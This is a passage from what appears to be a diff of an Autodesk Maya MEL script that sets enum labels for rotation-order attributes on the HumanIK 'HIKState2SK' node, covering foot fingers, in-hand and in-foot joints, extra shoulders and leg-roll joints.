"LeftFootPinky4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootPinky4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftFootExtraFinger4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootThumb4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootIndex4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootMiddle4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootRing4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootPinky4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger1ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger2ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger2ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger2ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger2ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger2ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger2ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger3ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger3ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger3ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger3ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger3ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger3ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger4ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger4ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger4ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger4ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger4ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightFootExtraFinger4ROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandThumbROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandThumbROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandThumbROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandThumbROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandThumbROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandThumbROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandIndexROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandIndexROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandIndexROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandIndexROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandIndexROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandIndexROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandMiddleROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandMiddleROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandMiddleROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandMiddleROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandMiddleROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandMiddleROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandRingROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandRingROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandRingROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandRingROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandRingROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandRingROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandPinkyROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandPinkyROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandPinkyROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandPinkyROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandPinkyROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandPinkyROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandExtraFingerROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandExtraFingerROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandExtraFingerROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandExtraFingerROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandExtraFingerROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInHandExtraFingerROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandThumbROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandThumbROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandThumbROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandThumbROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandThumbROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandThumbROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandIndexROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandIndexROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandIndexROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandIndexROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandIndexROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandIndexROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandMiddleROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandMiddleROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandMiddleROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandMiddleROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandMiddleROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandMiddleROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandRingROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandRingROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandRingROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandRingROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandRingROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandRingROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandPinkyROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandPinkyROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandPinkyROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandPinkyROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandPinkyROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandPinkyROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandExtraFingerROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandExtraFingerROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInHandExtraFingerROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandExtraFingerROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInHandExtraFingerROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInHandExtraFingerROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootThumbROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootThumbROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootThumbROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootThumbROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootThumbROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootThumbROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootIndexROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootIndexROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootIndexROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootIndexROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootIndexROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootIndexROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootMiddleROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootMiddleROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootMiddleROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootMiddleROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootMiddleROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootMiddleROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootRingROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootRingROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootRingROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootRingROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootRingROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootRingROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootPinkyROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootPinkyROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootPinkyROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootPinkyROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootPinkyROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootPinkyROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootExtraFingerROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootExtraFingerROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootExtraFingerROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootExtraFingerROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootExtraFingerROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftInFootExtraFingerROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootThumbROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootThumbROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootThumbROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootThumbROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootThumbROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootThumbROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootIndexROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootIndexROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootIndexROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootIndexROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootIndexROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootIndexROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootMiddleROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootMiddleROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootMiddleROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootMiddleROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootMiddleROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootMiddleROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootRingROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootRingROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootRingROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootRingROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootRingROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootRingROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootPinkyROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootPinkyROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootPinkyROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootPinkyROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootPinkyROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootPinkyROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootExtraFingerROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootExtraFingerROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightInFootExtraFingerROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootExtraFingerROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightInFootExtraFingerROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightInFootExtraFingerROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderExtraROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderExtraROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderExtraROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderExtraROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderExtraROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeftShoulderExtraROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderExtraROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderExtraROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderExtraROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderExtraROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderExtraROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "RightShoulderExtraROrder", 5, "zyx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll1ROrder", 0, "xyz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll1ROrder", 1, "yzx" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll1ROrder", 2, "zxy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll1ROrder", 3, "xzy" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll1ROrder", 4, "yxz" ); +setAttrEnumResource( "HIKState2SK", "LeafLeftUpLegRoll1ROrder", 5, 